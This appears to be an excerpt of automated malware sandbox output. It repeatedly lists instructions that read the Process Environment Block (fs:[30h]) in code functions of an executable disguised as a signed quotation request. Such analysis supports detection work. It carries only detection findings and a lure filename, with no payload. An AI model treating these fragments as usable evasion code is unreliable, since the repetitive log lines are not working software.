Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4002D mov eax, dword ptr fs:[00000030h]	10_2_00A4002D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4002D mov eax, dword ptr fs:[00000030h]	10_2_00A4002D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4002D mov eax, dword ptr fs:[00000030h]	10_2_00A4002D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4002D mov eax, dword ptr fs:[00000030h]	10_2_00A4002D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4002D mov eax, dword ptr fs:[00000030h]	10_2_00A4002D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A830 mov eax, dword ptr fs:[00000030h]	10_2_00A3A830
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A830 mov eax, dword ptr fs:[00000030h]	10_2_00A3A830
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A830 mov eax, dword ptr fs:[00000030h]	10_2_00A3A830
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A830 mov eax, dword ptr fs:[00000030h]	10_2_00A3A830
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A16800 mov eax, dword ptr fs:[00000030h]	10_2_00A16800
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A16800 mov eax, dword ptr fs:[00000030h]	10_2_00A16800
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A16800 mov eax, dword ptr fs:[00000030h]	10_2_00A16800
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4701D mov eax, dword ptr fs:[00000030h]	10_2_00A4701D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4701D mov eax, dword ptr fs:[00000030h]	10_2_00A4701D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4701D mov eax, dword ptr fs:[00000030h]	10_2_00A4701D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4701D mov eax, dword ptr fs:[00000030h]	10_2_00A4701D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4701D mov eax, dword ptr fs:[00000030h]	10_2_00A4701D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4701D mov eax, dword ptr fs:[00000030h]	10_2_00A4701D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE4015 mov eax, dword ptr fs:[00000030h]	10_2_00AE4015
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE4015 mov eax, dword ptr fs:[00000030h]	10_2_00AE4015
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A97016 mov eax, dword ptr fs:[00000030h]	10_2_00A97016
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A97016 mov eax, dword ptr fs:[00000030h]	10_2_00A97016
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A97016 mov eax, dword ptr fs:[00000030h]	10_2_00A97016
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3F86D mov eax, dword ptr fs:[00000030h]	10_2_00A3F86D
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE1074 mov eax, dword ptr fs:[00000030h]	10_2_00AE1074
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD2073 mov eax, dword ptr fs:[00000030h]	10_2_00AD2073
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1843 mov eax, dword ptr fs:[00000030h]	10_2_00AD1843
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15050 mov eax, dword ptr fs:[00000030h]	10_2_00A15050
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15050 mov eax, dword ptr fs:[00000030h]	10_2_00A15050
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15050 mov eax, dword ptr fs:[00000030h]	10_2_00A15050
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A30050 mov eax, dword ptr fs:[00000030h]	10_2_00A30050
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A30050 mov eax, dword ptr fs:[00000030h]	10_2_00A30050
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A17057 mov eax, dword ptr fs:[00000030h]	10_2_00A17057
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A461A0 mov eax, dword ptr fs:[00000030h]	10_2_00A461A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A461A0 mov eax, dword ptr fs:[00000030h]	10_2_00A461A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A261A7 mov eax, dword ptr fs:[00000030h]	10_2_00A261A7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A261A7 mov eax, dword ptr fs:[00000030h]	10_2_00A261A7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A261A7 mov eax, dword ptr fs:[00000030h]	10_2_00A261A7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A261A7 mov eax, dword ptr fs:[00000030h]	10_2_00A261A7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD49A4 mov eax, dword ptr fs:[00000030h]	10_2_00AD49A4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD49A4 mov eax, dword ptr fs:[00000030h]	10_2_00AD49A4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD49A4 mov eax, dword ptr fs:[00000030h]	10_2_00AD49A4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD49A4 mov eax, dword ptr fs:[00000030h]	10_2_00AD49A4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A969A6 mov eax, dword ptr fs:[00000030h]	10_2_00A969A6
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A951BE mov eax, dword ptr fs:[00000030h]	10_2_00A951BE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A951BE mov eax, dword ptr fs:[00000030h]	10_2_00A951BE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A951BE mov eax, dword ptr fs:[00000030h]	10_2_00A951BE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A951BE mov eax, dword ptr fs:[00000030h]	10_2_00A951BE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A499BC mov eax, dword ptr fs:[00000030h]	10_2_00A499BC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4C9BF mov eax, dword ptr fs:[00000030h]	10_2_00A4C9BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4C9BF mov eax, dword ptr fs:[00000030h]	10_2_00A4C9BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AEF1B5 mov eax, dword ptr fs:[00000030h]	10_2_00AEF1B5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AEF1B5 mov eax, dword ptr fs:[00000030h]	10_2_00AEF1B5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov eax, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov eax, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov eax, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov ecx, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A399BF mov eax, dword ptr fs:[00000030h]	10_2_00A399BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4A185 mov eax, dword ptr fs:[00000030h]	10_2_00A4A185
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3C182 mov eax, dword ptr fs:[00000030h]	10_2_00A3C182
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADA189 mov eax, dword ptr fs:[00000030h]	10_2_00ADA189
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADA189 mov ecx, dword ptr fs:[00000030h]	10_2_00ADA189
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A18190 mov ecx, dword ptr fs:[00000030h]	10_2_00A18190
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A42990 mov eax, dword ptr fs:[00000030h]	10_2_00A42990
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A44190 mov eax, dword ptr fs:[00000030h]	10_2_00A44190
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1519E mov eax, dword ptr fs:[00000030h]	10_2_00A1519E
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1519E mov ecx, dword ptr fs:[00000030h]	10_2_00A1519E
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1B1E1 mov eax, dword ptr fs:[00000030h]	10_2_00A1B1E1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1B1E1 mov eax, dword ptr fs:[00000030h]	10_2_00A1B1E1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1B1E1 mov eax, dword ptr fs:[00000030h]	10_2_00A1B1E1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A131E0 mov eax, dword ptr fs:[00000030h]	10_2_00A131E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA41E8 mov eax, dword ptr fs:[00000030h]	10_2_00AA41E8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE89E7 mov eax, dword ptr fs:[00000030h]	10_2_00AE89E7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3D1EF mov eax, dword ptr fs:[00000030h]	10_2_00A3D1EF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2C1C0 mov eax, dword ptr fs:[00000030h]	10_2_00A2C1C0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A299C7 mov eax, dword ptr fs:[00000030h]	10_2_00A299C7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A299C7 mov eax, dword ptr fs:[00000030h]	10_2_00A299C7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A299C7 mov eax, dword ptr fs:[00000030h]	10_2_00A299C7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A299C7 mov eax, dword ptr fs:[00000030h]	10_2_00A299C7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov ecx, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov ecx, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD31DC mov eax, dword ptr fs:[00000030h]	10_2_00AD31DC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD19D8 mov eax, dword ptr fs:[00000030h]	10_2_00AD19D8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A34120 mov eax, dword ptr fs:[00000030h]	10_2_00A34120
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A34120 mov eax, dword ptr fs:[00000030h]	10_2_00A34120
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A34120 mov eax, dword ptr fs:[00000030h]	10_2_00A34120
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A34120 mov eax, dword ptr fs:[00000030h]	10_2_00A34120
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A34120 mov ecx, dword ptr fs:[00000030h]	10_2_00A34120
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A13138 mov ecx, dword ptr fs:[00000030h]	10_2_00A13138
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4513A mov eax, dword ptr fs:[00000030h]	10_2_00A4513A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4513A mov eax, dword ptr fs:[00000030h]	10_2_00A4513A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19100 mov eax, dword ptr fs:[00000030h]	10_2_00A19100
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19100 mov eax, dword ptr fs:[00000030h]	10_2_00A19100
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19100 mov eax, dword ptr fs:[00000030h]	10_2_00A19100
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A20100 mov eax, dword ptr fs:[00000030h]	10_2_00A20100
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A20100 mov eax, dword ptr fs:[00000030h]	10_2_00A20100
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A20100 mov eax, dword ptr fs:[00000030h]	10_2_00A20100
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1C962 mov eax, dword ptr fs:[00000030h]	10_2_00A1C962
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8966 mov eax, dword ptr fs:[00000030h]	10_2_00AE8966
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADE962 mov eax, dword ptr fs:[00000030h]	10_2_00ADE962
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1B171 mov eax, dword ptr fs:[00000030h]	10_2_00A1B171
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1B171 mov eax, dword ptr fs:[00000030h]	10_2_00A1B171
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B944 mov eax, dword ptr fs:[00000030h]	10_2_00A3B944
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B944 mov eax, dword ptr fs:[00000030h]	10_2_00A3B944
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1951 mov eax, dword ptr fs:[00000030h]	10_2_00AD1951
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1395E mov eax, dword ptr fs:[00000030h]	10_2_00A1395E
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1395E mov eax, dword ptr fs:[00000030h]	10_2_00A1395E
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A11AA0 mov eax, dword ptr fs:[00000030h]	10_2_00A11AA0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A262A0 mov eax, dword ptr fs:[00000030h]	10_2_00A262A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A262A0 mov eax, dword ptr fs:[00000030h]	10_2_00A262A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A262A0 mov eax, dword ptr fs:[00000030h]	10_2_00A262A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A262A0 mov eax, dword ptr fs:[00000030h]	10_2_00A262A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A152A5 mov eax, dword ptr fs:[00000030h]	10_2_00A152A5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A152A5 mov eax, dword ptr fs:[00000030h]	10_2_00A152A5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A152A5 mov eax, dword ptr fs:[00000030h]	10_2_00A152A5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A152A5 mov eax, dword ptr fs:[00000030h]	10_2_00A152A5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A152A5 mov eax, dword ptr fs:[00000030h]	10_2_00A152A5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A45AA0 mov eax, dword ptr fs:[00000030h]	10_2_00A45AA0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A45AA0 mov eax, dword ptr fs:[00000030h]	10_2_00A45AA0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2AAB0 mov eax, dword ptr fs:[00000030h]	10_2_00A2AAB0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2AAB0 mov eax, dword ptr fs:[00000030h]	10_2_00A2AAB0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4FAB0 mov eax, dword ptr fs:[00000030h]	10_2_00A4FAB0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A412BD mov esi, dword ptr fs:[00000030h]	10_2_00A412BD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A412BD mov eax, dword ptr fs:[00000030h]	10_2_00A412BD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A412BD mov eax, dword ptr fs:[00000030h]	10_2_00A412BD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4DA88 mov eax, dword ptr fs:[00000030h]	10_2_00A4DA88
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4DA88 mov eax, dword ptr fs:[00000030h]	10_2_00A4DA88
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4D294 mov eax, dword ptr fs:[00000030h]	10_2_00A4D294
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4D294 mov eax, dword ptr fs:[00000030h]	10_2_00A4D294
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD129A mov eax, dword ptr fs:[00000030h]	10_2_00AD129A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A42AE4 mov eax, dword ptr fs:[00000030h]	10_2_00A42AE4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF mov eax, dword ptr fs:[00000030h]	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADB2E8 mov eax, dword ptr fs:[00000030h]	10_2_00ADB2E8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADB2E8 mov eax, dword ptr fs:[00000030h]	10_2_00ADB2E8
